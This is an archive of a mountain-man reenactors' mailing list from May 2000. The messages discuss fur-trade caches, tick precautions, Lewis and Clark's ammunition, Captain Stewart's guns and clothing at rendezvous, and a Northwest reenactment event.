Turtle

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From: "John C. Funk, Jr." <[e-mail]>
Subject: MtMan-List: Caches still used today
Date: 20 May 2000 08:39:47 -0700

The subject of caches brought something to mind.
 Several years back my wife and I took a vacation to Lake Powell,  which is
on the Utah/Arizona boarder.  As you might know Powell was formed as a
result of damming up a portion of the Colorado River prior to its entry into
the Grand Canyon.
Anyway, we boat camped and took several hicks into the sandy box canyons
which resulted from the rising water level over the years it took the lake
to fill up.  In one huge canyon, which was surrounded on three sides by
several hundred foot walls of sand stone and on the fourth by lake water, we
were poking around some cliffs and rock piles and located an OLD cache.
Unfortunately, it was not anything of any "historical" significance and
consisted of rather 'modern' day stuff.  Wedged under a large bolder and
partially buried in the sand we found an old bedroll which the pack rats and
stink bugs had taken over and no doubt had used for many years.  In the
bedroll was wrapper an "old" Coleman stove, gasoline type, a frying pan,
about 16" in diameter with a 2' handle (rusted), and what was probably a
food sack of canvas (empty) with numerous holes.  We figured that since the
area had been  inhabited for centuries by local native tribes who had, in
recent years,  been relegated to eking out a meager existence in farming and
sheep herding that this was probably the "cache" of some Indian sheep
herder.  We thought it conceivable that he or she had returned to the
grazing area one year only to find the water level to high to gain entry to
the canyon  and as such, all the cached possessions were lost to
.......posterity.

I suspect that from an "historical" point,  instances of this nature have
been played out hundreds of times throughout the expansion of the west.

John Funk


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-------------------------------------------------------------------------------

From: "jdearing" <[e-mail]>
Subject: Re: MtMan-List: Ticks
Date: 20 May 2000 11:09:33 -0500



> Matt,
> Deer ticks carry and spread lyme.  Lyme disease is named for the town
> Lyme, Connecticut where it was identified or discovered.  The latest
> theory is that other types of ticks may now be spreading Lyme

A precaution I take is to spray my clothing and ground cloth with Permanone,
also
called Permalyn.  It is available at Waly World in the sporitng goods
section, next
to the insect repellents.   It isn't anywhere near historically correct, but
neither is
lyme disease.


> "Don't compromise on your civil rights, they are yours!!!  Stand up for
> what's right!!!"
>
>
That reminds me, check out this news story concerning Reno's search and
seizure
agenda.  http://www.nationalreview.com/comment/comment051800a.html

J.D.





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From: [e-mail]
Subject: Re: MtMan-List: Ticks
Date: 20 May 2000 14:30:09 EDT

> A precaution I take is to spray my clothing and ground cloth with Permanone,
>  also called Permalyn.  It is available at Waly World in the sporitng goods
>  section

Lest anyone be confused, I think that Permalyn is also a Birchwood Casey
gunstock finish, in which case you wouldn't really want to be spreading it on
your body or hairy parts, unless of course, you were having a bad hair day.

It is also found in the sporting goods section and could be easily mistaken
for the repellant.

Dave Kanger

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-------------------------------------------------------------------------------

From: "John C. Funk, Jr." <[e-mail]>
Subject: MtMan-List: Re: Caches still used today
Date: 20 May 2000 11:57:01 -0700

Make that...."took several "hikes", though I suppose we could have taken
some "hicks" had they made themselves know to us.
JF

----- Original Message -----
Sent: Saturday, May 20, 2000 8:39 AM


> The subject of caches brought something to mind.
>  Several years back my wife and I took a vacation to Lake Powell,  which
is
> on the Utah/Arizona boarder.  As you might know Powell was formed as a
> result of damming up a portion of the Colorado River prior to its entry
into
> the Grand Canyon.
> Anyway, we boat camped and took several hicks into the sandy box canyons
> which resulted from the rising water level over the years it took the lake
> to fill up.  In one huge canyon, which was surrounded on three sides by
> several hundred foot walls of sand stone and on the fourth by lake water,
we
> were poking around some cliffs and rock piles and located an OLD cache.
> Unfortunately, it was not anything of any "historical" significance and
> consisted of rather 'modern' day stuff.  Wedged under a large bolder and
> partially buried in the sand we found an old bedroll which the pack rats
and
> stink bugs had taken over and no doubt had used for many years.  In the
> bedroll was wrapper an "old" Coleman stove, gasoline type, a frying pan,
> about 16" in diameter with a 2' handle (rusted), and what was probably a
> food sack of canvas (empty) with numerous holes.  We figured that since
the
> area had been  inhabited for centuries by local native tribes who had, in
> recent years,  been relegated to eking out a meager existence in farming
and
> sheep herding that this was probably the "cache" of some Indian sheep
> herder.  We thought it conceivable that he or she had returned to the
> grazing area one year only to find the water level to high to gain entry
to
> the canyon  and as such, all the cached possessions were lost to
> .......posterity.
>
> I suspect that from an "historical" point,  instances of this nature have
> been played out hundreds of times throughout the expansion of the west.
>
> John Funk
>


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-------------------------------------------------------------------------------

From: "jdearing" <[e-mail]>
Subject: Re: MtMan-List: Ticks
Date: 20 May 2000 19:38:40 -0500



> > A precaution I take is to spray my clothing and ground cloth with
Permanone,
> >  also called Permalyn.  It is available at Waly World in the sporitng
goods
> >  section
>
> Lest anyone be confused, I think that Permalyn is also a Birchwood Casey
> gunstock finish, in which case you wouldn't really want to be spreading it
on
> your body or hairy parts, unless of course, you were having a bad hair
day.
>
>
Maybe a word of caution is advisable here. Permanone is sprayed on your
clothing at least several hours before going into the woods....before you
put 'em on. Permanone kills ticks and chiggers before they can cause
problems. Permanone is supposed to be a derivative of pyrethrum, a natural
insecticide, and not supposed to be harmful to humans after it dries.

This is good stuff. I  have used it on week long treks, with only the one
application before leaving, and not found even
one tick on me.  It doesn't work on mosquitoes though. Bummer.
J.D.


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From: "Matthew Porter" <[e-mail]>
Subject: MtMan-List: ticks
Date: 21 May 2000 09:03:33 -0500

To all,
    Here is some tick info from Arkansas Game and Fish Commission.  I don't
know how it applies to you all in the nothern states.

http://www.agfc.com/whatsnew/ark_outdoors/980701.htm

YMHS
Matt Porter


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From: [e-mail] (JON MARINETTI)
Subject: MtMan-List: Lewis & Clark's lead and powder
Date: 21 May 2000 19:26:36 -0400 (EDT)

Per L+C Journals, Gary E. Moulton, Editor, Volume 6:

[Lewis] Saturday February 1st, 1806,  (p.265).

[Clark] Saturday February 1st, 1806,
(p.272).


"today we opened and examined all our ammunition, which had been secured
in leaden canesters.  we found 27 of the best rifle powder, 4 of common
rifle, 3 of glaized, and one of the musqut powder in good order ...
these cannesters contain 4 lbs. of powder each and <contain> 8 of lead."

~~~~~~~~~~~~~~~~~~~~~~~~
from Michigan
~~~~~~~~~~~~~~~~~~~~~~~~


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From: Angela Gottfred <[e-mail]>
Subject: Re: MtMan-List:  daily caches
Date: 21 May 2000 17:10:07 -0600

Dave Kanger <[e-mail]> wrote:

>>In Canada, robbing another man's cache was a crime punishable by death if
you
were caught.  This was true until recent times, and may still be true today
in the more wild parts of that country.  Caches were made for survival
situations, so a man always knew where to go if he lost his food, or his
canoe dumped, etc.
Perhaps Angella is more familiar with the laws as they exist today.<<

Darn right! I had to shoot a guy last week--caught him robbing the cache
I'd made outside my igloo. Drilled him, too, but the Mounties didn't seem
interested when I reported it. Said I was clearly within my rights.

By the way, don't let the good exchange rate fool you into coming to Canada
for your holidays. You'll only get attacked by blackflies, skunks, and
grizzlies. The Canadian Rockies are overrated, and Canadians are surly.
Since the Mounties  wear scarlet tunics and ride horses, they can't catch
modern crooks, so crime is rampant. Stay home, you'll be safer and have
more fun.

Your humble & obedient servant in the first nation of hockey,
Angela Gottfred

P.S. Seriously, folks, Canada hasn't had the death penalty for about 30
years.

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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: English sporters
Date: 21 May 2000 06:06:12 -0600

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I know that English "Sporting Gents" attended various Rendezvous and =
hunted in the West , is there any record of the firearms these men =
used.?

"While in London the Captain [Stewart] purchased three "Joe Mantons".... =
these guns were famous in their day for shooting ...."plum =
centre"....One of these guns....carrying 12 balls to the pound viz a =
ball nearly an inch in diameter..." ( My old friend AJ Miller written =
sometime after 1837)


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<P>I know that English "Sporting Gents" attended various Rendezvous and =
hunted=20
in the West , is there any record of the firearms these men used.?</P>
<P>"While in London the Captain [Stewart] purchased three "Joe =
Mantons"....=20
these guns were famous in their day for shooting ...."plum =
centre"....One of=20
these guns....carrying 12 balls to the pound viz a ball nearly an inch =
in=20
diameter..." ( My old friend AJ Miller written sometime after=20
1837)</P></DIV></BODY></HTML>

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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List:  daily caches
Date: 21 May 2000 19:31:07 -0500


-----Original Message-----


Angela wrote:

>>and Canadians are surly.>>

I don't believe it. Blackflies, grizzlies, and skunks yes, but surly
canadians? You have to be pulling my leg.

>>Seriously, folks, Canada hasn't had the death penalty for about 30
years.>>

Maybe this is what has led to the rampant crime you describe.<G>

northwoods



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From: [e-mail]
Subject: MtMan-List: PVLR's "Walk in the Woods"
Date: 21 May 2000 23:24:02 EDT

Hallo the List,

Before the Great Capt Lahti gets on, and distorts the story somewhat, I' d
like to mention that he, and fellow AMM member Jerry "Crawdad" Frank, took
two rank pilgrims, to a first place finish in PVLR's "Walk in the Woods".
While it's true that Magpie (me) and Old John did some right fine shootin,
killin our share of hostiles, startin the fire 1st (me), and took a couple
round balls, (Old John dyin of his wounds before we got to the fort) we never
would have made it, without their skill and daring. Capt Lahti and
Crawdad....you boys did good!

Ymos,
Magpie (or Stinkin Water Steve) <G>

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From: [e-mail]
Subject: Re: [Re: MtMan-List: trappin & packin & cachin
Date: 22 May 2000 02:54:43 EDT

Ole  Some trapping parties did not even carry any tools to make a cache with.
In Ferris's Life in the Rocky Mountains page 184. When they went to buried
Frasier a trapper that had been killed by Blackfeet the only tools they had
to dig his grave with was an ax and a frying pan. Not the type of tools I
would want to dig a cache with.  What type of trappers are we talking about
here be it free trappers or company trappers. For a company trapper went with
a brigade that would supply him with what he needed and would keep a tally of
what he owed. If he ever wanted to be come a free trapper he had better keep
his needs at a minimum and his traps full. For him caches were made as a
brigade what things they did not want to pack around such as extra lead,
powder, maybe a blacksmithing forge, horse shoes, and what not. After the
fall hunt an another cache was made with the furs that had been taken and the
other cache rased to go in to winter with, if it had not been robed. For a
free trapper it was much the same only he owed nothing to the brigade or the
company as it were and went where wanted but some times still went with the
brigade for the protection of the larger numbers. When it came to making
caches he and his trapping partners made them to gather for very few went
totally out on three on hook If they wanted to keep there hair. The idea of a
day cache for a rocky mountain trapper did not happen there was no need. For
they all ways had a camp tender or two to take care of the pack horses and
camp. He travailed light when he went to set traps for a description read
Osborne Russell's out fit of a trapper on page 82. That is all they took to
go on a three day trap away from the main camp. What I find interesting was
he made no mention of taking any type of cooking pots or food at all.
                                        Some thoughts from
                                         the Cyot

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From: [e-mail]
Subject: Re: [Re: MtMan-List: trappin & packin & cachin
Date: 22 May 2000 03:13:12 EDT

three on a hook?  OK - out on their own hook
     what can I say oops.

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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: [Re: MtMan-List: trappin & packin & cachin
Date: 22 May 2000 06:44:42 -0600

Cracy,
Exactly!
Who said Cyot's can't write. We have nothing to disagree about, sept maybe
the pot's.
YMOHS
Ole
----------
>From: [e-mail]
>To: [e-mail]
>Subject: Re: [Re: MtMan-List: trappin & packin & cachin
>Date: Mon, May 22, 2000, 12:54 AM
>

>Ole  Some trapping parties did not even carry any tools to make a cache with.
>In Ferris's Life in the Rocky Mountains page 184. When they went to buried
>Frasier a trapper that had been killed by Blackfeet the only tools they had
>to dig his grave with was an ax and a frying pan. Not the type of tools I
>would want to dig a cache with.  What type of trappers are we talking about
>here be it free trappers or company trappers. For a company trapper went with
>a brigade that would supply him with what he needed and would keep a tally of
>what he owed. If he ever wanted to be come a free trapper he had better keep
>his needs at a minimum and his traps full. For him caches were made as a
>brigade what things they did not want to pack around such as extra lead,
>powder, maybe a blacksmithing forge, horse shoes, and what not. After the
>fall hunt an another cache was made with the furs that had been taken and the
>other cache rased to go in to winter with, if it had not been robed. For a
>free trapper it was much the same only he owed nothing to the brigade or the
>company as it were and went where wanted but some times still went with the
>brigade for the protection of the larger numbers. When it came to making
>caches he and his trapping partners made them to gather for very few went
>totally out on three on hook If they wanted to keep there hair. The idea of a
>day cache for a rocky mountain trapper did not happen there was no need. For
>they all ways had a camp tender or two to take care of the pack horses and
>camp. He travailed light when he went to set traps for a description read
>Osborne Russell's out fit of a trapper on page 82. That is all they took to
>go on a three day trap away from the main camp. What I find interesting was
>he made no mention of taking any type of cooking pots or food at all.
>                                        Some thoughts from
>                                         the Cyot
>
>----------------------
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>

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From: manbear <[e-mail]>
Subject: Re: MtMan-List: English sporters
Date: 22 May 2000 11:12:55 -0400


--------------8F57C25BBB297560CF52DCD7
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According to the book "Scotsman in Buckskin"  Stewart had 2 Mantons with
him in 1833.
Something else I found interesting was what Stewart wore to the
Rendezvous that year, ..."Captain Stewart's appearance, when he had
finished his toilette, stunned all of them, even Campbell, into
momentary immobility.  Having secured his pack of clothing, unopened
since it was lashed shut in St. Louis, he donned certain items
therefrom, and appeared before his companions wearing a white leather
hunting jacket with innumerable pockets and a pair of snug trousers
known in Scotland as trews, made of the green, royal blue, red and
yellow of the Stewart hunting plaid, all fashioned by a London tailor.
On his head rested a Panama hat of the finest texture...."
And I thought I got looks when I first wore my Kilt to a rendezvous...G

Alba go Brau
MacManbear

Wynn & Gretchen Ormond wrote:

> I know that English "Sporting Gents" attended various Rendezvous and
> hunted in the West , is there any record of the firearms these men
> used.?
>
> "While in London the Captain [Stewart] purchased three "Joe
> Mantons".... these guns were famous in their day for shooting
> ...."plum centre"....One of these guns....carrying 12 balls to the
> pound viz a ball nearly an inch in diameter..." ( My old friend AJ
> Miller written sometime after 1837)

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<html>
<body bgcolor="#FFFFFF">
<font size=+1>According to the book "Scotsman in Buckskin"  Stewart
had 2 Mantons with him in 1833.</font>
<br><font size=+1>Something else I found interesting was what Stewart wore
to the Rendezvous that year, ..."Captain Stewart's appearance, when he
had finished his toilette, stunned all of them, even Campbell, into momentary
immobility.  Having secured his pack of clothing, unopened since it
was lashed shut in St. Louis, he donned certain items therefrom, and appeared
before his companions wearing a white leather hunting jacket with innumerable
pockets and a pair of snug trousers known in Scotland as trews, made of
the green, royal blue, red and yellow of the Stewart hunting plaid, all
fashioned by a London tailor.  On his head rested a Panama hat of
the finest texture...."</font>
<br><font size=+1>And I thought I got looks when I first wore my Kilt to
a rendezvous...G</font><font size=+1></font>
<p><font size=+1>Alba go Brau</font>
<br><font size=+1>MacManbear</font>
<p>Wynn & Gretchen Ormond wrote:
<blockquote TYPE=CITE><style></style>
I know that English "Sporting Gents"
attended various Rendezvous and hunted in the West , is there any record
of the firearms these men used.?
<p>"While in London the Captain [Stewart] purchased three "Joe Mantons"....
these guns were famous in their day for shooting ...."plum centre"....One
of these guns....carrying 12 balls to the pound viz a ball nearly an inch
in diameter..." ( My old friend AJ Miller written sometime after 1837)</blockquote>

</body>
</html>

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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: English sporters
Date: 22 May 2000 08:21:02 -0700

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I understand why you got weird looks on your skirt.  Stewart didn't wear =
kilts at rendezvous but plaid trousers as per your note. =20
  ----- Original Message -----=20
  From: manbear=20
  To: [e-mail]=20
  Sent: Monday, May 22, 2000 8:12 AM
  Subject: Re: MtMan-List: English sporters


  According to the book "Scotsman in Buckskin"  Stewart had 2 Mantons =
with him in 1833.=20
  Something else I found interesting was what Stewart wore to the =
Rendezvous that year, ..."Captain Stewart's appearance, when he had =
finished his toilette, stunned all of them, even Campbell, into =
momentary immobility.  Having secured his pack of clothing, unopened =
since it was lashed shut in St. Louis, he donned certain items =
therefrom, and appeared before his companions wearing a white leather =
hunting jacket with innumerable pockets and a pair of snug trousers =
known in Scotland as trews, made of the green, royal blue, red and =
yellow of the Stewart hunting plaid, all fashioned by a London tailor.  =
On his head rested a Panama hat of the finest texture...."=20
  And I thought I got looks when I first wore my Kilt to a =
rendezvous...G=20
  Alba go Brau=20
  MacManbear=20

  Wynn & Gretchen Ormond wrote:=20

    I know that English "Sporting Gents" attended various Rendezvous and =
hunted in the West , is there any record of the firearms these men =
used.?=20
    "While in London the Captain [Stewart] purchased three "Joe =
Mantons".... these guns were famous in their day for shooting ...."plum =
centre"....One of these guns....carrying 12 balls to the pound viz a =
ball nearly an inch in diameter..." ( My old friend AJ Miller written =
sometime after 1837)


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    charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I understand why you got weird looks on =
your=20
skirt.  Stewart didn't wear kilts at rendezvous but plaid trousers =
as per=20
your note.  </FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>manbear</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, May 22, 2000 8:12 =
AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
English=20
  sporters</DIV>
  <DIV><BR></DIV><FONT size=3D+1>According to the book "Scotsman in=20
  Buckskin"  Stewart had 2 Mantons with him in 1833.</FONT> =
<BR><FONT=20
  size=3D+1>Something else I found interesting was what Stewart wore to =
the=20
  Rendezvous that year, ..."Captain Stewart's appearance, when he had =
finished=20
  his toilette, stunned all of them, even Campbell, into momentary=20
  immobility.  Having secured his pack of clothing, unopened since =
it was=20
  lashed shut in St. Louis, he donned certain items therefrom, and =
appeared=20
  before his companions wearing a white leather hunting jacket with =
innumerable=20
  pockets and a pair of snug trousers known in Scotland as trews, made =
of the=20
  green, royal blue, red and yellow of the Stewart hunting plaid, all =
fashioned=20
  by a London tailor.  On his head rested a Panama hat of the =
finest=20
  texture...."</FONT> <BR><FONT size=3D+1>And I thought I got looks when =
I first=20
  wore my Kilt to a rendezvous...G</FONT><FONT size=3D+1></FONT>=20
  <P><FONT size=3D+1>Alba go Brau</FONT> <BR><FONT =
size=3D+1>MacManbear</FONT>=20
  <P>Wynn & Gretchen Ormond wrote:=20
  <BLOCKQUOTE TYPE=3D"CITE">
    <STYLE></STYLE>
    I know that English "Sporting Gents" attended various Rendezvous and =
hunted=20
    in the West , is there any record of the firearms these men used.?=20
    <P>"While in London the Captain [Stewart] purchased three "Joe =
Mantons"....=20
    these guns were famous in their day for shooting ...."plum =
centre"....One of=20
    these guns....carrying 12 balls to the pound viz a ball nearly an =
inch in=20
    diameter..." ( My old friend AJ Miller written sometime after=20
  1837)</P></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

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From: manbear <[e-mail]>
Subject: Re: MtMan-List: English sporters
Date: 22 May 2000 12:13:58 -0400


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Aye Lad, 'tis true, but did ye ever see a fat Scotsman in trews?  'Tis
not a pretty sight.  Also I don't take umberage at the fact ye called it
a skirt since an old dictionary I have defines a kilt as a Scottish
Gentleman's Skirt.  So, I guess that by calling it a skirt ye be calling
me a gentleman for which I doff my balmoral tae ye.

Alba Go Brau

Manbear

Larry Huber wrote:

>  I understand why you got weird looks on your skirt.  Stewart didn't
> wear kilts at rendezvous but plaid trousers as per your note.
>
>      ----- Original Message -----
>      From: manbear
>      To: [e-mail]
>      Sent: Monday, May 22, 2000 8:12 AM
>      Subject: Re: MtMan-List: English sporters
>       According to the book "Scotsman in Buckskin"  Stewart had 2
>      Mantons with him in 1833.
>      Something else I found interesting was what Stewart wore to
>      the Rendezvous that year, ..."Captain Stewart's appearance,
>      when he had finished his toilette, stunned all of them, even
>      Campbell, into momentary immobility.  Having secured his
>      pack of clothing, unopened since it was lashed shut in St.
>      Louis, he donned certain items therefrom, and appeared
>      before his companions wearing a white leather hunting jacket
>      with innumerable pockets and a pair of snug trousers known
>      in Scotland as trews, made of the green, royal blue, red and
>      yellow of the Stewart hunting plaid, all fashioned by a
>      London tailor.  On his head rested a Panama hat of the
>      finest texture...."
>      And I thought I got looks when I first wore my Kilt to a
>      rendezvous...G
>
>      Alba go Brau
>      MacManbear
>
>
>     >
>

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Aye Lad, 'tis true, but did ye ever see a fat Scotsman in trews?
'Tis not a pretty sight.  Also I don't take umberage at the fact ye
called it a skirt since an old dictionary I have defines a kilt as a Scottish
Gentleman's Skirt.  So, I guess that by calling it a skirt ye be calling
me a gentleman for which I doff my balmoral tae ye.
<p>Alba Go Brau
<p>Manbear
<p>Larry Huber wrote:
<blockquote TYPE=CITE> <font face="Arial"><font size=-1>I understand
why you got weird looks on your skirt.  Stewart didn't wear kilts
at rendezvous but plaid trousers as per your note.</font></font>
<blockquote
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
<div style="FONT: 10pt arial">----- Original Message -----</div>

<div
  style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><b>From:</b>
<a href="mailto:[e-mail]" title="[e-mail]">manbear</a></div>

<div style="FONT: 10pt arial"><b>To:</b> <a href="mailto:[e-mail]" title="[e-mail]">[e-mail]</a></div>

<div style="FONT: 10pt arial"><b>Sent:</b> Monday, May 22, 2000 8:12 AM</div>

<div style="FONT: 10pt arial"><b>Subject:</b> Re: MtMan-List: English sporters</div>
 <font size=+1>According to the book "Scotsman in Buckskin"
Stewart had 2 Mantons with him in 1833.</font>
<br><font size=+1>Something else I found interesting was what Stewart wore
to the Rendezvous that year, ..."Captain Stewart's appearance, when he
had finished his toilette, stunned all of them, even Campbell, into momentary
immobility.  Having secured his pack of clothing, unopened since it
was lashed shut in St. Louis, he donned certain items therefrom, and appeared
before his companions wearing a white leather hunting jacket with innumerable
pockets and a pair of snug trousers known in Scotland as trews, made of
the green, royal blue, red and yellow of the Stewart hunting plaid, all
fashioned by a London tailor.  On his head rested a Panama hat of
the finest texture...."</font>
<br><font size=+1>And I thought I got looks when I first wore my Kilt to
a rendezvous...G</font>
<p><font size=+1>Alba go Brau</font>
<br><font size=+1>MacManbear</font>
<br>
<blockquote TYPE="CITE"> </blockquote>
</blockquote>
</blockquote>

</body>
</html>

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: PVLR's "Walk in the Woods"
Date: 22 May 2000 09:39:10 -0700


----- Original Message -----
Cc: <[e-mail]>; <[e-mail]>; <[e-mail]>;
<[e-mail]>
Sent: Sunday, May 21, 2000 8:24 PM


> Hallo the List,
>
> Before the Great Capt Lahti gets on, and distorts the story somewhat, I' d
> like to mention that he, and fellow AMM member Jerry "Crawdad" Frank, took
> two rank pilgrims,


Friends,

I think "Great" is too harsh a word to use. I'm not that much bigger than
"Magpie". While it is true that we finished first and only lost one man, my
contribution to this frackus was limited to keeping the blather between
those two "rank pilgrims" down to a minimum. And how they could go on about
the relative merits of this commercial lube over that commercial lube and
what brand of high tech short starter worked best, etc!  I broke at least
two willow switches getting them herded up the trail to glory.

But all in all, they did not do too bad (considering what Crawdad and I had
to work with). Such outings are fun and we did enjoy ourselves immensely, as
did all who participated. Thanks to "Old Blue" for all the work he put in.
Much appreciated.

Thank you Magpie, for your kind words. I remain.....

YMOS
Capt. Lahti'





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From: [e-mail]
Subject: MtMan-List: PVLR
Date: 22 May 2000 15:56:44 EDT

Hallo the List,

Here's a note I recieved from the boys that worked so hard to put on that
show. If any of you can make it to the NW for one of these doin's, I'd
recommend it.... great fun!
Ymos,
Stinking Water Steve

<<<Dear Stinking Water Steve (may I call you Stinking, for short?),
<<<It is an annual event,<the PVLR rendezvous> usually held around the 3rd
weekend of May on the Bear Springs Ranger District of the Mt. Hood Natl.
Forest--SE flank
of Mount Hood--by the Powell Valley Long Rifles out of Gresham, OR.
Although it is not a primitive event, the club does encourage primitive
dress.  The main concern is that folks have fun and enjoy themselves.  The
camp and shooting fees are very nominal and the site is teeming with flat
spots, tall timber and plenty of free firewood.  The objective here is to
encourage other area shooters to come up and play with us--end of commercial.

On another matter:  maybe you should give a little credit to the folks that
put on the Walk in the Woods (patent pending), and tried to mess with what
little mind was in the possession of you and your team-mates.  There is no
denying that you all did remarkably well. Even considering the bad advice
provide by the Capt. it was well done.  On the other hand, you did give my
crew and I a tickle when you were searching for sticks to throw at the
grouse--all while standing practically on top of a pile of throwing sized
rocks thoughtfully provided by yours truly.   We did have a lot of fun
trying to provide sufficient wounds and shooting handicaps to make it
interesting for you.  All in all, it was a good camp and I would not
hesitate to let you set up next to me on the next go around.  Best, Blue>>>>>





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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Ticks
Date: 22 May 2000 15:53:56 -0700

I appreciate the information on this subject.  In central Texas, this
disease is a real problem.  Two ranchers, who own adjoining property next to
my brother, have recently become infected, and one, despite the best of
care, continues to be in and out of the hospital.  Apparently you can get
various degrees of infection, and some are long-term and quite debilitating.

Regards,  Paul
----- Original Message -----
Sent: Saturday, May 20, 2000 5:38 PM


>
>
> > > A precaution I take is to spray my clothing and ground cloth with
> Permanone,
> > >  also called Permalyn.  It is available at Waly World in the sporitng
> goods
> > >  section
> >
> > Lest anyone be confused, I think that Permalyn is also a Birchwood Casey
> > gunstock finish, in which case you wouldn't really want to be spreading
it
> on
> > your body or hairy parts, unless of course, you were having a bad hair
> day.
> >
> >
> Maybe a word of caution is advisable here. Permanone is sprayed on your
> clothing at least several hours before going into the woods....before you
> put 'em on. Permanone kills ticks and chiggers before they can cause
> problems. Permanone is supposed to be a derivative of pyrethrum, a natural
> insecticide, and not supposed to be harmful to humans after it dries.
>
> This is good stuff. I  have used it on week long treks, with only the one
> application before leaving, and not found even
> one tick on me.  It doesn't work on mosquitoes though. Bummer.
> J.D.
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: MtMan-List: Mountain Man Exhibits and Museums ... I'm on a trip
Date: 22 May 2000 20:43:57 EDT

Gentlemen,

I am heading up to Coeur d'Alene in a couple of weeks.  We are heading out to
northeast Nevada then left and up through Boise, the Salmon River Mountains,
the Clear Water Mountains and on into Coeur d'Alene, a short trip to Glacier
and home again via eastern Oregon...

Now my question is, that's Mountain Man Country, where can I find museums and
exhibits about the Mountain Man, Fur trapping era?

Thanks for your time and suggestions...

(no name as yet)
Joe Kerley

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From: Jerry & Barbara Zaslow <[e-mail]>
Subject: Re: MtMan-List: English sporters
Date: 23 May 2000 05:43:58 -0700 (PDT)

Just a quick note.  To my knowledge, Stewart was not at Rendezvous (or in
our country) in 1833.  You probably meant 1837.  Just a typo (I do it all
the time.)

Best Regards,

Jerry (Meriwether) Zaslow #1488
________________________________________________________________________________

At 11:12 AM 05/22/2000 -0400, you wrote:
>According to the book "Scotsman in Buckskin"  Stewart had 2 Mantons with
>him in 1833.
>Something else I found interesting was what Stewart wore to the
>Rendezvous that year, ..."Captain Stewart's appearance, when he had
>finished his toilette, stunned all of them, even Campbell, into
>momentary immobility.  Having secured his pack of clothing, unopened
>since it was lashed shut in St. Louis, he donned certain items
>therefrom, and appeared before his companions wearing a white leather
>hunting jacket with innumerable pockets and a pair of snug trousers
>known in Scotland as trews, made of the green, royal blue, red and
>yellow of the Stewart hunting plaid, all fashioned by a London tailor.
>On his head rested a Panama hat of the finest texture...."
>And I thought I got looks when I first wore my Kilt to a rendezvous...G
>
>Alba go Brau
>MacManbear
>
>Wynn & Gretchen Ormond wrote:
>
>> I know that English "Sporting Gents" attended various Rendezvous and
>> hunted in the West , is there any record of the firearms these men
>> used.?
>>
>> "While in London the Captain [Stewart] purchased three "Joe
>> Mantons".... these guns were famous in their day for shooting
>> ...."plum centre"....One of these guns....carrying 12 balls to the
>> pound viz a ball nearly an inch in diameter..." ( My old friend AJ
>> Miller written sometime after 1837)
><!doctype html public "-//w3c//dtd html 4.0 transitional//en">
><html>
><body bgcolor="#FFFFFF">
><font size=+1>According to the book "Scotsman in Buckskin"  Stewart
>had 2 Mantons with him in 1833.</font>
><br><font size=+1>Something else I found interesting was what Stewart wore
>to the Rendezvous that year, ..."Captain Stewart's appearance, when he
>had finished his toilette, stunned all of them, even Campbell, into momentary
>immobility.  Having secured his pack of clothing, unopened since it
>was lashed shut in St. Louis, he donned certain items therefrom, and appeared
>before his companions wearing a white leather hunting jacket with innumerable
>pockets and a pair of snug trousers known in Scotland as trews, made of
>the green, royal blue, red and yellow of the Stewart hunting plaid, all
>fashioned by a London tailor.  On his head rested a Panama hat of
>the finest texture...."</font>
><br><font size=+1>And I thought I got looks when I first wore my Kilt to
>a rendezvous...G</font><font size=+1></font>
><p><font size=+1>Alba go Brau</font>
><br><font size=+1>MacManbear</font>
><p>Wynn & Gretchen Ormond wrote:
><blockquote TYPE=CITE><style></style>
>I know that English "Sporting Gents"
>attended various Rendezvous and hunted in the West , is there any record
>of the firearms these men used.?
><p>"While in London the Captain [Stewart] purchased three "Joe Mantons"....
>these guns were famous in their day for shooting ...."plum centre"....One
>of these guns....carrying 12 balls to the pound viz a ball nearly an inch
>in diameter..." ( My old friend AJ Miller written sometime after
1837)</blockquote>
>
></body>
></html>
>


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From: manbear <[e-mail]>
Subject: Re: MtMan-List: English sporters
Date: 23 May 2000 11:57:11 -0400

All I have to go by is the aformentioned book which states that Stewart first came
to this country in 1832 after a fight with his brother and on May 7, 1833 left
Lexington, MO with Robert Campbell 's party headed west.
I've been re-enacting since the early 80's but only recently gotten into the
Scottish Mountaineers because  a part of my new wife's and my ancestry is
Scottish.  "Scotsman in Buckskin" and another book about Joe Walker are the only
sourses that I have on the subject so they are what I go by. If anyone knows of any
other sources I'd be forever in their debt.

